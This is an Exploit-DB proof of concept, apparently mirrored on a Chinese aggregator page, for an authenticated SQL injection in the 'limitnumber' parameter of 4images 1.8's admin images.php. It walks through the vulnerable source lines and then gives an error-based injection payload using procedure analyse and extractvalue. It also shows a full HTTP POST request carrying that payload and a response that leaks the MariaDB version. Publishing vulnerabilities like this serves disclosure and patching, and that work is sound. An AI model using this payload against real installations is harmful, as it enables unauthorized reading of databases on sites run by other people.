4images 1.8 – ‘limitnumber’ SQL Injection (Authenticated)

• Exploit Database
• 122 阅读

• 作者： Andrey Stoykov
  日期： 2021-08-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50193/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119

  # Exploit Title: 4images 1.8 - &apos;limitnumber&apos; SQL Injection (Authenticated) # Exploit Author: Andrey Stoykov # Software Link: https://www.4homepages.de/download-4images # Version: 1.8 # Tested on: Linux       Source Analysis:     Line #658   - User action defined   if ($action == "findimages") {     Line #661   - Vulnerable condition   $condition = "1=1";     Line #654   - Default limit 50   show_input_row($lang[&apos;results_per_page&apos;], "limitnumber", 50);       Line #736   - Define limit start   $limitstart = (isset($HTTP_POST_VARS[&apos;limitstart&apos;])) ? trim($HTTP_POST_VARS[&apos;limitstart&apos;]) : ""; if ($limitstart == "") { $limitstart = 0;     Line #743   - Define limit number   $limitnumber = trim($HTTP_POST_VARS[&apos;limitnumber&apos;]); if ($limitnumber == "") { $limitnumber = 5000; }     Line #763   - Define user input variables   $limitfinish = $limitstart + $limitnumber;       Line #786   - SQL statement   $sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_media_file, i.image_date".get_user_table_field(", u.", "user_name")." FROM ".IMAGES_TABLE." i LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.", "user_id")." = i.user_id) WHERE $condition ORDER BY $orderby $direction   // Vulnerable user input of limitnumber LIMIT $limitstart, $limitnumber";     Line #852   - Display user input defined previously   show_hidden_input("limitnumber", $limitnumber);       Exploit POC:     1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-     HTTP Request:   POST /4images/admin/images.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 406 Origin: http://127.0.0.1 DNT: 1 Connection: close Referer: http://127.0.0.1/4images/admin/images.php?action=modifyimages Cookie: 4images_lastvisit=1628349389; 4images_userid=1; sessionid=7ndqdr2u04gqs9gdme12vhco87 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: frame Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1   __csrf=7aa2dd8597dfe4302237bbfeb200fbd8&action=findimages&image_id=&image_name=&image_description=&image_keywords=&cat_id=0&image_media_file=&image_thumb_file=&dateafter=&datebefore=&downloadsupper=&downloadslower=&ratingupper=&ratinglower=&votesupper=&voteslower=&hitsupper=&hitslower=&orderby=i.image_name&direction=ASC&limitnumber=1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-       HTTP Response:   HTTP/1.1 200 OK ... <b>XPATH syntax error: &apos;:10.1.37-MariaDB&apos;</b>